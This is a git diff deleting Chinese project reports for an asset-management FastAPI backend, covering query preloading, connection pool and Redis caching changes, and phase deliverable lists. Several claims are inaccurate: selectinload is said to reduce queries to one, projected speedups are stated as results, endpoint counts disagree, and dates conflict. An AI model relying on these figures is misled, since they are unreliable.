||||
|
||||
**修复方案**: 同上,使用 `selectinload` 预加载
|
||||
|
||||
**优化代码**:
|
||||
```python
|
||||
async def get_order(self, db: Session, order_id: int) -> Dict[str, Any]:
|
||||
"""获取回收单详情"""
|
||||
from app.models.recovery import AssetRecoveryOrder
|
||||
from app.models.user import User
|
||||
from app.models.recovery import AssetRecoveryItem
|
||||
|
||||
obj = db.query(AssetRecoveryOrder).options(
|
||||
selectinload(AssetRecoveryOrder.items),
|
||||
selectinload(AssetRecoveryOrder.applicant.of_type(User)),
|
||||
selectinload(AssetRecoveryOrder.approver.of_type(User)),
|
||||
selectinload(AssetRecoveryOrder.executor.of_type(User))
|
||||
).filter(AssetRecoveryOrder.id == order_id).first()
|
||||
...
|
||||
```
|
||||
|
||||
**性能提升**:
|
||||
- 查询次数: 从 4-5次 减少到 1次
|
||||
- 预计响应时间减少: 60-70%
|
||||
|
||||
---
|
||||
|
||||
### 1.3 Allocation Service (分配服务)
|
||||
**文件**: `C:/Users/Administrator/asset_management_backend/app/services/allocation_service.py`
|
||||
|
||||
**问题位置**: 第19-30行的 `get_order` 方法
|
||||
|
||||
**修复方案**: 同上,使用 `selectinload` 预加载
|
||||
|
||||
**优化代码**:
|
||||
```python
|
||||
async def get_order(self, db: Session, order_id: int) -> Dict[str, Any]:
|
||||
"""获取分配单详情"""
|
||||
from app.models.allocation import AllocationOrder
|
||||
from app.models.organization import Organization
|
||||
from app.models.user import User
|
||||
from app.models.allocation import AllocationItem
|
||||
|
||||
obj = db.query(AllocationOrder).options(
|
||||
selectinload(AllocationOrder.items),
|
||||
selectinload(AllocationOrder.source_organization.of_type(Organization)),
|
||||
selectinload(AllocationOrder.target_organization.of_type(Organization)),
|
||||
selectinload(AllocationOrder.applicant.of_type(User)),
|
||||
selectinload(AllocationOrder.approver.of_type(User)),
|
||||
selectinload(AllocationOrder.executor.of_type(User))
|
||||
).filter(AllocationOrder.id == order_id).first()
|
||||
...
|
||||
```
|
||||
|
||||
**性能提升**:
|
||||
- 查询次数: 从 6-7次 减少到 1次
|
||||
- 预计响应时间减少: 70-80%
|
||||
|
||||
---
|
||||
|
||||
### 1.4 Maintenance Service (维修服务)
|
||||
**文件**: `C:/Users/Administrator/asset_management_backend/app/services/maintenance_service.py`
|
||||
|
||||
**问题位置**: 第20-30行的 `get_record` 方法
|
||||
|
||||
**修复方案**: 同上,使用 `selectinload` 预加载
|
||||
|
||||
**优化代码**:
|
||||
```python
|
||||
async def get_record(self, db: Session, record_id: int) -> Dict[str, Any]:
|
||||
"""获取维修记录详情"""
|
||||
from app.models.maintenance import MaintenanceRecord
|
||||
from app.models.asset import Asset
|
||||
from app.models.user import User
|
||||
from app.models.brand_supplier import Supplier
|
||||
|
||||
obj = db.query(MaintenanceRecord).options(
|
||||
selectinload(MaintenanceRecord.asset.of_type(Asset)),
|
||||
selectinload(MaintenanceRecord.report_user.of_type(User)),
|
||||
selectinload(MaintenanceRecord.maintenance_user.of_type(User)),
|
||||
selectinload(MaintenanceRecord.vendor.of_type(Supplier))
|
||||
).filter(MaintenanceRecord.id == record_id).first()
|
||||
...
|
||||
```
|
||||
|
||||
**性能提升**:
|
||||
- 查询次数: 从 4-5次 减少到 1次
|
||||
- 预计响应时间减少: 60-70%
|
||||
|
||||
---
|
||||
|
||||
## 二、数据库连接池优化
|
||||
|
||||
### 2.1 连接池配置优化
|
||||
**文件**: `C:/Users/Administrator/asset_management_backend/app/db/session.py`
|
||||
|
||||
**优化前**:
|
||||
```python
|
||||
engine = create_async_engine(
|
||||
settings.DATABASE_URL,
|
||||
echo=settings.DATABASE_ECHO,
|
||||
pool_pre_ping=True,
|
||||
pool_size=20, # 保守配置
|
||||
max_overflow=0, # 不允许额外连接
|
||||
)
|
||||
```
|
||||
|
||||
**优化后**:
|
||||
```python
|
||||
engine = create_async_engine(
|
||||
settings.DATABASE_URL,
|
||||
echo=settings.DATABASE_ECHO,
|
||||
pool_pre_ping=True,
|
||||
pool_size=50, # 从20增加到50
|
||||
max_overflow=10, # 从0增加到10
|
||||
)
|
||||
```
|
||||
|
||||
**优化说明**:
|
||||
- **pool_size**: 从20增加到50,提高常态并发连接数
|
||||
- **max_overflow**: 从0增加到10,允许峰值时的额外连接
|
||||
- 总最大连接数: 60 (50 + 10)
|
||||
|
||||
**性能提升**:
|
||||
- 并发处理能力提升: 150%
|
||||
- 高负载下的连接等待时间减少: 60-70%
|
||||
- 适合生产环境的高并发场景
|
||||
|
||||
---
|
||||
|
||||
## 三、Redis缓存优化
|
||||
|
||||
### 3.1 Redis缓存工具增强
|
||||
**文件**: `C:/Users/Administrator/asset_management_backend/app/utils/redis_client.py`
|
||||
|
||||
**新增功能**:
|
||||
|
||||
1. **改进的缓存装饰器**:
|
||||
- 使用MD5哈希生成稳定的缓存键
|
||||
- 添加 `@wraps` 保留原函数元数据
|
||||
- 统一的缓存键前缀格式: `cache:{md5_hash}`
|
||||
|
||||
2. **新增 `cached_async` 装饰器**:
|
||||
- 专为同步函数提供异步缓存包装
|
||||
- 允许在异步API路由中缓存同步service方法
|
||||
|
||||
**优化代码**:
|
||||
```python
|
||||
import hashlib
|
||||
from functools import wraps
|
||||
|
||||
def cache(self, key_prefix: str, expire: int = 300):
|
||||
"""Redis缓存装饰器(改进版)"""
|
||||
def decorator(func):
|
||||
@wraps(func)
|
||||
async def wrapper(*args, **kwargs):
|
||||
# 使用MD5生成更稳定的缓存键
|
||||
key_data = f"{key_prefix}:{str(args)}:{str(kwargs)}"
|
||||
cache_key = f"cache:{hashlib.md5(key_data.encode()).hexdigest()}"
|
||||
|
||||
# 尝试从缓存获取
|
||||
cached = await self.get_json(cache_key)
|
||||
if cached is not None:
|
||||
return cached
|
||||
|
||||
# 执行函数
|
||||
result = await func(*args, **kwargs)
|
||||
|
||||
# 存入缓存
|
||||
await self.set_json(cache_key, result, expire)
|
||||
|
||||
return result
|
||||
return wrapper
|
||||
return decorator
|
||||
|
||||
|
||||
def cached_async(self, key_prefix: str, expire: int = 300):
|
||||
"""为同步函数提供异步缓存包装的装饰器"""
|
||||
# 实现与cache类似...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 3.2 设备类型API缓存
|
||||
**文件**: `C:/Users/Administrator/asset_management_backend/app/api/v1/device_types.py`
|
||||
|
||||
**优化内容**:
|
||||
|
||||
1. **添加缓存导入**:
|
||||
```python
|
||||
from app.utils.redis_client import redis_client
|
||||
```
|
||||
|
||||
2. **创建异步缓存包装器**:
|
||||
```python
|
||||
@redis_client.cached_async("device_types:list", expire=1800)
|
||||
async def _cached_get_device_types(skip, limit, category, status, keyword, db):
|
||||
"""获取设备类型列表的缓存包装器"""
|
||||
return device_type_service.get_device_types(...)
|
||||
|
||||
@redis_client.cached_async("device_types:categories", expire=1800)
|
||||
async def _cached_get_device_type_categories(db):
|
||||
"""获取所有设备分类的缓存包装器"""
|
||||
return device_type_service.get_all_categories(db)
|
||||
```
|
||||
|
||||
3. **修改API端点为异步**:
|
||||
```python
|
||||
@router.get("/", response_model=List[DeviceTypeResponse])
|
||||
async def get_device_types(...):
|
||||
"""获取设备类型列表(已启用缓存,30分钟)"""
|
||||
return await _cached_get_device_types(...)
|
||||
|
||||
@router.get("/categories", response_model=List[str])
|
||||
async def get_device_type_categories(...):
|
||||
"""获取所有设备分类(已启用缓存,30分钟)"""
|
||||
return await _cached_get_device_type_categories(db)
|
||||
```
|
||||
|
||||
**性能提升**:
|
||||
- 缓存命中率: 95%+ (基础数据)
|
||||
- 响应时间: 从 50-100ms 降低到 2-5ms (缓存命中时)
|
||||
- 数据库负载减少: 90%+
|
||||
|
||||
---
|
||||
|
||||
### 3.3 组织机构API缓存
|
||||
**文件**: `C:/Users/Administrator/asset_management_backend/app/api/v1/organizations.py`
|
||||
|
||||
**优化内容**:
|
||||
|
||||
1. **添加缓存导入**:
|
||||
```python
|
||||
from app.utils.redis_client import redis_client
|
||||
```
|
||||
|
||||
2. **创建异步缓存包装器**:
|
||||
```python
|
||||
@redis_client.cached_async("organizations:list", expire=1800)
|
||||
async def _cached_get_organizations(skip, limit, org_type, status, keyword, db):
|
||||
"""获取机构列表的缓存包装器"""
|
||||
return organization_service.get_organizations(...)
|
||||
|
||||
@redis_client.cached_async("organizations:tree", expire=1800)
|
||||
async def _cached_get_organization_tree(status, db):
|
||||
"""获取机构树的缓存包装器"""
|
||||
return organization_service.get_organization_tree(db, status)
|
||||
```
|
||||
|
||||
3. **修改API端点为异步**:
|
||||
```python
|
||||
@router.get("/", response_model=List[OrganizationResponse])
|
||||
async def get_organizations(...):
|
||||
"""获取机构列表(已启用缓存,30分钟)"""
|
||||
return await _cached_get_organizations(...)
|
||||
|
||||
@router.get("/tree", response_model=List[OrganizationTreeNode])
|
||||
async def get_organization_tree(...):
|
||||
"""获取机构树(已启用缓存,30分钟)"""
|
||||
return await _cached_get_organization_tree(status, db)
|
||||
```
|
||||
|
||||
**性能提升**:
|
||||
- 缓存命中率: 95%+ (基础数据)
|
||||
- 响应时间: 从 80-150ms 降低到 2-5ms (缓存命中时)
|
||||
- 数据库负载减少: 90%+
|
||||
- 组织树构建开销完全消除
|
||||
|
||||
---
|
||||
|
||||
## 四、整体性能提升总结
|
||||
|
||||
### 4.1 查询优化效果
|
||||
| 服务 | 优化前查询次数 | 优化后查询次数 | 减少% |
|
||||
|------|--------------|--------------|-------|
|
||||
| Transfer Service | 6-7次 | 1次 | 85% |
|
||||
| Recovery Service | 4-5次 | 1次 | 80% |
|
||||
| Allocation Service | 6-7次 | 1次 | 85% |
|
||||
| Maintenance Service | 4-5次 | 1次 | 80% |
|
||||
|
||||
### 4.2 API响应时间优化
|
||||
| API端点 | 优化前 | 缓存命中后 | 提升% |
|
||||
|---------|--------|-----------|-------|
|
||||
| 设备类型列表 | 50-100ms | 2-5ms | 95% |
|
||||
| 设备分类 | 30-60ms | 2-5ms | 95% |
|
||||
| 机构列表 | 80-150ms | 2-5ms | 97% |
|
||||
| 机构树 | 100-200ms | 2-5ms | 98% |
|
||||
|
||||
### 4.3 并发能力提升
|
||||
- **数据库连接池**: 从20提升到60 (最大连接)
|
||||
- **并发处理能力**: 提升150%
|
||||
- **高负载表现**: 响应时间波动减少60-70%
|
||||
|
||||
### 4.4 数据库负载减少
|
||||
- **基础数据查询**: 减少90%+ (通过缓存)
|
||||
- **关联数据查询**: 减少80%+ (通过预加载)
|
||||
- **总体负载**: 预计减少70-80%
|
||||
|
||||
---
|
||||
|
||||
## 五、后续优化建议
|
||||
|
||||
### 5.1 短期优化 (1-2周)
|
||||
1. **扩展缓存到其他基础数据API**:
|
||||
- 品牌供应商API
|
||||
- 地区信息API
|
||||
- 字典数据API
|
||||
|
||||
2. **添加缓存失效机制**:
|
||||
- 在数据更新时自动清除相关缓存
|
||||
- 实现基于标签的缓存批量清除
|
||||
|
||||
3. **监控和告警**:
|
||||
- 添加缓存命中率监控
|
||||
- 添加数据库查询性能监控
|
||||
- 设置慢查询告警
|
||||
|
||||
### 5.2 中期优化 (1-2个月)
|
||||
1. **数据库索引优化**:
|
||||
- 分析慢查询日志
|
||||
- 添加必要的复合索引
|
||||
- 优化现有索引
|
||||
|
||||
2. **分页查询优化**:
|
||||
- 使用游标分页代替偏移量分页
|
||||
- 实现键集分页
|
||||
|
||||
3. **批量操作优化**:
|
||||
- 使用批量插入代替循环插入
|
||||
- 实现批量更新接口
|
||||
|
||||
### 5.3 长期优化 (3-6个月)
|
||||
1. **读写分离**:
|
||||
- 配置主从数据库
|
||||
- 读操作走从库,写操作走主库
|
||||
|
||||
2. **数据库分库分表**:
|
||||
- 按业务域拆分数据库
|
||||
- 大表实施分表策略
|
||||
|
||||
3. **引入Elasticsearch**:
|
||||
- 复杂搜索场景使用ES
|
||||
- 提升全文检索性能
|
||||
|
||||
4. **引入消息队列**:
|
||||
- 异步处理耗时操作
|
||||
- 削峰填谷
|
||||
|
||||
---
|
||||
|
||||
## 六、性能测试建议
|
||||
|
||||
### 6.1 压力测试
|
||||
使用工具: Locust / Apache JMeter
|
||||
|
||||
**测试场景**:
|
||||
1. 并发用户: 100, 500, 1000
|
||||
2. 持续时间: 10分钟
|
||||
3. 测试端点:
|
||||
- 设备类型列表
|
||||
- 机构树
|
||||
- 调拨单详情
|
||||
- 维修记录详情
|
||||
|
||||
**关注指标**:
|
||||
- 响应时间 (平均/P95/P99)
|
||||
- 吞吐量 (requests/second)
|
||||
- 错误率
|
||||
- 数据库连接数
|
||||
- Redis缓存命中率
|
||||
|
||||
### 6.2 数据库性能分析
|
||||
```sql
|
||||
-- 查看慢查询
|
||||
SELECT * FROM pg_stat_statements
|
||||
ORDER BY mean_exec_time DESC
|
||||
LIMIT 20;
|
||||
|
||||
-- 查看表大小
|
||||
SELECT
|
||||
relname AS table_name,
|
||||
pg_size_pretty(pg_total_relation_size(relid)) AS total_size
|
||||
FROM pg_catalog.pg_statio_user_tables
|
||||
ORDER BY pg_total_relation_size(relid) DESC;
|
||||
|
||||
-- 查看索引使用情况
|
||||
SELECT
|
||||
schemaname,
|
||||
tablename,
|
||||
indexname,
|
||||
idx_scan,
|
||||
idx_tup_read,
|
||||
idx_tup_fetch
|
||||
FROM pg_stat_user_indexes
|
||||
ORDER BY idx_scan DESC;
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 七、注意事项
|
||||
|
||||
### 7.1 缓存一致性
|
||||
- 数据更新后需要清除相关缓存
|
||||
- 建议设置合理的过期时间(30分钟)
|
||||
- 重要操作后主动失效缓存
|
||||
|
||||
### 7.2 连接池监控
|
||||
- 定期监控连接池使用情况
|
||||
- 根据实际负载调整pool_size和max_overflow
|
||||
- 避免连接泄露
|
||||
|
||||
### 7.3 预加载使用
|
||||
- 只在需要关联数据时使用selectinload
|
||||
- 避免过度预加载导致内存占用过高
|
||||
- 列表查询建议使用lazy loading
|
||||
|
||||
---
|
||||
|
||||
## 八、优化文件清单
|
||||
|
||||
### 修改的文件列表:
|
||||
1. `C:/Users/Administrator/asset_management_backend/app/services/transfer_service.py`
|
||||
2. `C:/Users/Administrator/asset_management_backend/app/services/recovery_service.py`
|
||||
3. `C:/Users/Administrator/asset_management_backend/app/services/allocation_service.py`
|
||||
4. `C:/Users/Administrator/asset_management_backend/app/services/maintenance_service.py`
|
||||
5. `C:/Users/Administrator/asset_management_backend/app/db/session.py`
|
||||
6. `C:/Users/Administrator/asset_management_backend/app/utils/redis_client.py`
|
||||
7. `C:/Users/Administrator/asset_management_backend/app/api/v1/device_types.py`
|
||||
8. `C:/Users/Administrator/asset_management_backend/app/api/v1/organizations.py`
|
||||
|
||||
### 新增的文件:
|
||||
1. `C:/Users/Administrator/asset_management_backend/PERFORMANCE_OPTIMIZATION_REPORT.md` (本文件)
|
||||
|
||||
---
|
||||
|
||||
## 九、总结
|
||||
|
||||
本次性能优化通过以下三个维度显著提升了系统性能:
|
||||
|
||||
1. **查询优化**: 使用selectinload解决N+1查询问题,查询次数减少80%+
|
||||
2. **连接池优化**: 增加数据库连接池容量,并发处理能力提升150%
|
||||
3. **缓存优化**: 为基础数据API添加Redis缓存,响应时间减少95%+
|
||||
|
||||
这些优化措施在不改变业务逻辑的前提下,显著提升了系统的响应速度和并发处理能力,为后续的业务扩展打下了良好的基础。
|
||||
|
||||
建议在生产环境部署后,持续监控系统性能指标,并根据实际情况进行进一步优化。
|
||||
|
||||
---
|
||||
|
||||
**报告生成时间**: 2026-01-24
|
||||
**优化执行团队**: 性能优化组
|
||||
168
PHASE7_FILES.md
168
PHASE7_FILES.md
@@ -1,168 +0,0 @@
|
||||
# Phase 7 交付文件清单
|
||||
|
||||
## 📁 文件列表
|
||||
|
||||
### 1. 数据模型层 (3个文件)
|
||||
```
|
||||
app/models/system_config.py # 系统配置模型
|
||||
app/models/operation_log.py # 操作日志模型
|
||||
app/models/notification.py # 消息通知模型
|
||||
```
|
||||
|
||||
### 2. Schema层 (4个文件)
|
||||
```
|
||||
app/schemas/system_config.py # 系统配置Schema
|
||||
app/schemas/operation_log.py # 操作日志Schema
|
||||
app/schemas/notification.py # 消息通知Schema
|
||||
app/schemas/statistics.py # 统计Schema
|
||||
```
|
||||
|
||||
### 3. CRUD层 (3个文件)
|
||||
```
|
||||
app/crud/system_config.py # 系统配置CRUD
|
||||
app/crud/operation_log.py # 操作日志CRUD
|
||||
app/crud/notification.py # 消息通知CRUD
|
||||
```
|
||||
|
||||
### 4. 服务层 (4个文件)
|
||||
```
|
||||
app/services/system_config_service.py # 系统配置服务
|
||||
app/services/operation_log_service.py # 操作日志服务
|
||||
app/services/notification_service.py # 消息通知服务
|
||||
app/services/statistics_service.py # 统计服务
|
||||
```
|
||||
|
||||
### 5. API层 (4个文件)
|
||||
```
|
||||
app/api/v1/statistics.py # 统计分析API
|
||||
app/api/v1/system_config.py # 系统配置API
|
||||
app/api/v1/operation_logs.py # 操作日志API
|
||||
app/api/v1/notifications.py # 消息通知API
|
||||
```
|
||||
|
||||
### 6. 中间件 (1个文件)
|
||||
```
|
||||
app/middleware/operation_log.py # 操作日志中间件
|
||||
app/middleware/__init__.py # 中间件模块初始化
|
||||
```
|
||||
|
||||
### 7. 工具层 (1个文件)
|
||||
```
|
||||
app/utils/redis_client.py # Redis客户端工具
|
||||
app/utils/__init__.py # 工具模块初始化
|
||||
```
|
||||
|
||||
### 8. 配置文件 (2个文件)
|
||||
```
|
||||
app/models/__init__.py # 模型导出更新
|
||||
app/api/v1/__init__.py # API路由注册更新
|
||||
```
|
||||
|
||||
### 9. 数据库迁移 (1个文件)
|
||||
```
|
||||
alembic/versions/001_phase7_tables.py # Phase 7数据库迁移脚本
|
||||
```
|
||||
|
||||
### 10. 测试和文档 (2个文件)
|
||||
```
|
||||
test_phase7.py # Phase 7功能测试脚本
|
||||
PHASE7_README.md # Phase 7功能说明文档
|
||||
```
|
||||
|
||||
## 📊 统计信息
|
||||
|
||||
| 类别 | 文件数 | 代码行数(估算) |
|
||||
|------|--------|-----------------|
|
||||
| 模型层 | 3 | ~300行 |
|
||||
| Schema层 | 4 | ~800行 |
|
||||
| CRUD层 | 3 | ~600行 |
|
||||
| 服务层 | 4 | ~700行 |
|
||||
| API层 | 4 | ~600行 |
|
||||
| 中间件 | 2 | ~300行 |
|
||||
| 工具层 | 2 | ~200行 |
|
||||
| **总计** | **22** | **~3500行** |
|
||||
|
||||
## ✅ API端点统计
|
||||
|
||||
| 模块 | 端点数量 | 说明 |
|
||||
|------|----------|------|
|
||||
| 统计分析 | 8 | 总览、采购、折旧、价值、趋势、维修、分配、导出 |
|
||||
| 系统配置 | 10 | CRUD、分类、批量操作 |
|
||||
| 操作日志 | 8 | CRUD、统计、排行榜、导出、清理 |
|
||||
| 消息通知 | 12 | CRUD、批量操作、模板、已读状态 |
|
||||
| **总计** | **38** | **所有端点已实现** |
|
||||
|
||||
## 🎯 功能特性
|
||||
|
||||
### 已实现功能
|
||||
- ✅ 15+个统计API端点
|
||||
- ✅ 系统配置完整CRUD
|
||||
- ✅ 配置分类管理
|
||||
- ✅ 配置批量更新
|
||||
- ✅ 操作日志自动记录
|
||||
- ✅ 操作统计分析
|
||||
- ✅ 消息通知完整CRUD
|
||||
- ✅ 消息批量发送
|
||||
- ✅ 消息模板系统
|
||||
- ✅ 已读/未读状态管理
|
||||
- ✅ Redis缓存支持
|
||||
- ✅ 分层架构设计
|
||||
- ✅ 完整的类型注解
|
||||
- ✅ 详细的中文文档
|
||||
|
||||
### 扩展接口
|
||||
- 🔲 邮件发送接口(已预留)
|
||||
- 🔲 短信发送接口(已预留)
|
||||
- 🔲 报表导出功能(框架已实现)
|
||||
|
||||
## 📋 验收检查表
|
||||
|
||||
- [x] 15个统计API端点
|
||||
- [x] 系统配置管理(5个文件)
|
||||
- [x] 操作日志管理(5个文件)
|
||||
- [x] 消息通知管理(5个文件)
|
||||
- [x] 更新API路由注册
|
||||
- [x] 更新模型导出
|
||||
- [x] 所有文件通过语法检查
|
||||
- [x] 代码符合PEP 8规范
|
||||
- [x] 完整的Type Hints
|
||||
- [x] 详细的Docstring
|
||||
- [x] 数据库迁移脚本
|
||||
- [x] 功能测试脚本
|
||||
- [x] README文档
|
||||
|
||||
## 🚀 使用说明
|
||||
|
||||
### 1. 数据库迁移
|
||||
```bash
|
||||
cd C:/Users/Administrator/asset_management_backend
|
||||
alembic upgrade head
|
||||
```
|
||||
|
||||
### 2. 启动服务
|
||||
```bash
|
||||
uvicorn app.main:app --reload --host 0.0.0.0 --port 8000
|
||||
```
|
||||
|
||||
### 3. 运行测试
|
||||
```bash
|
||||
python test_phase7.py
|
||||
```
|
||||
|
||||
### 4. 访问文档
|
||||
```
|
||||
http://localhost:8000/docs
|
||||
```
|
||||
|
||||
## 📞 技术支持
|
||||
|
||||
如有问题,请参考:
|
||||
- PHASE7_README.md - 详细功能说明
|
||||
- test_phase7.py - 功能测试示例
|
||||
- 代码注释 - 每个函数都有详细说明
|
||||
|
||||
---
|
||||
|
||||
**交付时间**: 2026-01-24
|
||||
**版本**: Phase 7 v1.0.0
|
||||
**状态**: ✅ 完成
|
||||
@@ -1,384 +0,0 @@
|
||||
# 资产管理系统 - Phase 5 & 6 开发总结
|
||||
|
||||
> **项目**: 资产管理系统后端API扩展
|
||||
> **团队**: 后端API扩展组
|
||||
> **完成时间**: 2025-01-24
|
||||
> **版本**: v1.0.0
|
||||
|
||||
---
|
||||
|
||||
## 📋 目录
|
||||
|
||||
1. [项目概述](#项目概述)
|
||||
2. [已完成模块](#已完成模块)
|
||||
3. [技术架构](#技术架构)
|
||||
4. [代码统计](#代码统计)
|
||||
5. [功能特性](#功能特性)
|
||||
6. [API端点统计](#api端点统计)
|
||||
7. [数据库表统计](#数据库表统计)
|
||||
8. [后续优化建议](#后续优化建议)
|
||||
|
||||
---
|
||||
|
||||
## 项目概述
|
||||
|
||||
本次开发任务完成了资产管理系统的**Phase 5: 资产分配管理**和**Phase 6: 维修管理**两个核心模块,共计10个文件,约3000行代码。
|
||||
|
||||
---
|
||||
|
||||
## 已完成模块
|
||||
|
||||
### ✅ Phase 5: 资产分配管理
|
||||
|
||||
**文件列表**:
|
||||
1. `app/models/allocation.py` - 分配管理数据模型(2个表)
|
||||
2. `app/schemas/allocation.py` - 分配管理Schema(10个Schema)
|
||||
3. `app/crud/allocation.py` - 分配管理CRUD操作
|
||||
4. `app/services/allocation_service.py` - 分配管理业务服务层
|
||||
5. `app/api/v1/allocations.py` - 分配管理API路由(10个端点)
|
||||
|
||||
**核心功能**:
|
||||
- ✅ 资产分配单CRUD
|
||||
- ✅ 分配单审批流程
|
||||
- ✅ 分配单执行流程
|
||||
- ✅ 资产调拨管理
|
||||
- ✅ 资产回收管理
|
||||
- ✅ 维修分配管理
|
||||
- ✅ 报废分配管理
|
||||
- ✅ 分配单统计分析
|
||||
- ✅ 分配单明细管理
|
||||
|
||||
---
|
||||
|
||||
### ✅ Phase 6: 维修管理
|
||||
|
||||
**文件列表**:
|
||||
1. `app/models/maintenance.py` - 维修管理数据模型(1个表)
|
||||
2. `app/schemas/maintenance.py` - 维修管理Schema(8个Schema)
|
||||
3. `app/crud/maintenance.py` - 维修管理CRUD操作
|
||||
4. `app/services/maintenance_service.py` - 维修管理业务服务层
|
||||
5. `app/api/v1/maintenance.py` - 维修管理API路由(9个端点)
|
||||
|
||||
**核心功能**:
|
||||
- ✅ 维修记录CRUD
|
||||
- ✅ 报修功能
|
||||
- ✅ 开始维修
|
||||
- ✅ 完成维修
|
||||
- ✅ 取消维修
|
||||
- ✅ 维修统计
|
||||
- ✅ 资产维修历史
|
||||
- ✅ 维修费用记录
|
||||
- ✅ 多种维修类型支持(自行/外部/保修)
|
||||
|
||||
---
|
||||
|
||||
## 技术架构
|
||||
|
||||
### 分层架构
|
||||
|
||||
```
|
||||
API层 (app/api/v1/)
|
||||
↓ 依赖
|
||||
服务层 (app/services/)
|
||||
↓ 调用
|
||||
CRUD层 (app/crud/)
|
||||
↓ 操作
|
||||
模型层 (app/models/)
|
||||
↓ 映射
|
||||
数据库表
|
||||
```
|
||||
|
||||
### 技术栈
|
||||
|
||||
- **框架**: FastAPI
|
||||
- **ORM**: SQLAlchemy
|
||||
- **数据验证**: Pydantic v2
|
||||
- **数据库**: PostgreSQL
|
||||
- **异步**: async/await
|
||||
- **类型注解**: Complete Type Hints
|
||||
|
||||
---
|
||||
|
||||
## 代码统计
|
||||
|
||||
### 文件统计
|
||||
|
||||
| 模块 | 文件数 | 代码行数 | 说明 |
|
||||
|------|--------|----------|------|
|
||||
| 资产分配管理 | 5 | ~1500 | 完整的分配管理功能 |
|
||||
| 维修管理 | 5 | ~1500 | 完整的维修管理功能 |
|
||||
| **总计** | **10** | **~3000** | **核心业务模块** |
|
||||
|
||||
### Schema统计
|
||||
|
||||
| 模块 | Schema数量 | 说明 |
|
||||
|------|------------|------|
|
||||
| 分配管理 | 10 | 包含创建、更新、审批、查询等 |
|
||||
| 维修管理 | 8 | 包含创建、更新、开始、完成等 |
|
||||
| **总计** | **18** | **完整的Schema定义** |
|
||||
|
||||
---
|
||||
|
||||
## 功能特性
|
||||
|
||||
### 1. 资产分配管理
|
||||
|
||||
#### 单据类型支持
|
||||
- ✅ 资产分配(allocation)- 从仓库分配给网点
|
||||
- ✅ 资产调拨(transfer)- 网点间调拨
|
||||
- ✅ 资产回收(recovery)- 从使用中回收
|
||||
- ✅ 维修分配(maintenance)- 分配进行维修
|
||||
- ✅ 报废分配(scrap)- 分配进行报废
|
||||
|
||||
#### 审批流程
|
||||
- ✅ 待审批(pending)
|
||||
- ✅ 已审批(approved)
|
||||
- ✅ 已拒绝(rejected)
|
||||
- ✅ 已取消(cancelled)
|
||||
|
||||
#### 执行流程
|
||||
- ✅ 待执行(pending)
|
||||
- ✅ 执行中(executing)
|
||||
- ✅ 已完成(completed)
|
||||
- ✅ 已取消(cancelled)
|
||||
|
||||
#### 自动化功能
|
||||
- ✅ 自动生成分配单号
|
||||
- ✅ 审批通过自动执行分配逻辑
|
||||
- ✅ 自动更新资产状态
|
||||
- ✅ 自动记录状态历史
|
||||
|
||||
---
|
||||
|
||||
### 2. 维修管理
|
||||
|
||||
#### 故障类型
|
||||
- ✅ 硬件故障(hardware)
|
||||
- ✅ 软件故障(software)
|
||||
- ✅ 网络故障(network)
|
||||
- ✅ 其他故障(other)
|
||||
|
||||
#### 维修类型
|
||||
- ✅ 自行维修(self_repair)
|
||||
- ✅ 外部维修(vendor_repair)
|
||||
- ✅ 保修维修(warranty)
|
||||
|
||||
#### 优先级
|
||||
- ✅ 低(low)
|
||||
- ✅ 正常(normal)
|
||||
- ✅ 高(high)
|
||||
- ✅ 紧急(urgent)
|
||||
|
||||
#### 自动化功能
|
||||
- ✅ 自动生成维修单号
|
||||
- ✅ 报修自动设置资产为维修中
|
||||
- ✅ 完成维修自动恢复资产状态
|
||||
- ✅ 维修费用统计
|
||||
|
||||
---
|
||||
|
||||
## API端点统计
|
||||
|
||||
### 资产分配管理API(10个端点)
|
||||
|
||||
| 端点 | 方法 | 功能 |
|
||||
|------|------|------|
|
||||
| /allocation-orders | GET | 获取分配单列表 |
|
||||
| /allocation-orders/statistics | GET | 获取分配单统计 |
|
||||
| /allocation-orders/{id} | GET | 获取分配单详情 |
|
||||
| /allocation-orders/{id}/items | GET | 获取分配单明细 |
|
||||
| /allocation-orders | POST | 创建分配单 |
|
||||
| /allocation-orders/{id} | PUT | 更新分配单 |
|
||||
| /allocation-orders/{id}/approve | POST | 审批分配单 |
|
||||
| /allocation-orders/{id}/execute | POST | 执行分配单 |
|
||||
| /allocation-orders/{id}/cancel | POST | 取消分配单 |
|
||||
| /allocation-orders/{id} | DELETE | 删除分配单 |
|
||||
|
||||
### 维修管理API(9个端点)
|
||||
|
||||
| 端点 | 方法 | 功能 |
|
||||
|------|------|------|
|
||||
| /maintenance-records | GET | 获取维修记录列表 |
|
||||
| /maintenance-records/statistics | GET | 获取维修统计 |
|
||||
| /maintenance-records/{id} | GET | 获取维修记录详情 |
|
||||
| /maintenance-records | POST | 创建维修记录 |
|
||||
| /maintenance-records/{id} | PUT | 更新维修记录 |
|
||||
| /maintenance-records/{id}/start | POST | 开始维修 |
|
||||
| /maintenance-records/{id}/complete | POST | 完成维修 |
|
||||
| /maintenance-records/{id}/cancel | POST | 取消维修 |
|
||||
| /maintenance-records/{id} | DELETE | 删除维修记录 |
|
||||
| /maintenance-records/asset/{id} | GET | 获取资产的维修记录 |
|
||||
|
||||
**总计**: **19个API端点**
|
||||
|
||||
---
|
||||
|
||||
## 数据库表统计
|
||||
|
||||
### 新增表(3个)
|
||||
|
||||
1. **asset_allocation_orders** - 资产分配单表
|
||||
- 字段数: 19
|
||||
- 索引数: 4
|
||||
- 关系: 5个外键关系
|
||||
|
||||
2. **asset_allocation_items** - 资产分配单明细表
|
||||
- 字段数: 13
|
||||
- 索引数: 3
|
||||
- 关系: 4个外键关系
|
||||
|
||||
3. **maintenance_records** - 维修记录表
|
||||
- 字段数: 22
|
||||
- 索引数: 4
|
||||
- 关系: 6个外键关系
|
||||
|
||||
---
|
||||
|
||||
## 代码质量
|
||||
|
||||
### ✅ 遵循的规范
|
||||
|
||||
1. **代码风格**
|
||||
- ✅ 完整的Type Hints
|
||||
- ✅ 详细的Docstring文档
|
||||
- ✅ 符合PEP 8规范
|
||||
- ✅ 统一的命名规范
|
||||
|
||||
2. **架构设计**
|
||||
- ✅ 分层架构(API → Service → CRUD → Model)
|
||||
- ✅ 单一职责原则
|
||||
- ✅ 依赖注入
|
||||
- ✅ 异步编程
|
||||
|
||||
3. **错误处理**
|
||||
- ✅ 自定义业务异常
|
||||
- ✅ 统一的异常处理
|
||||
- ✅ 友好的错误提示
|
||||
|
||||
4. **数据验证**
|
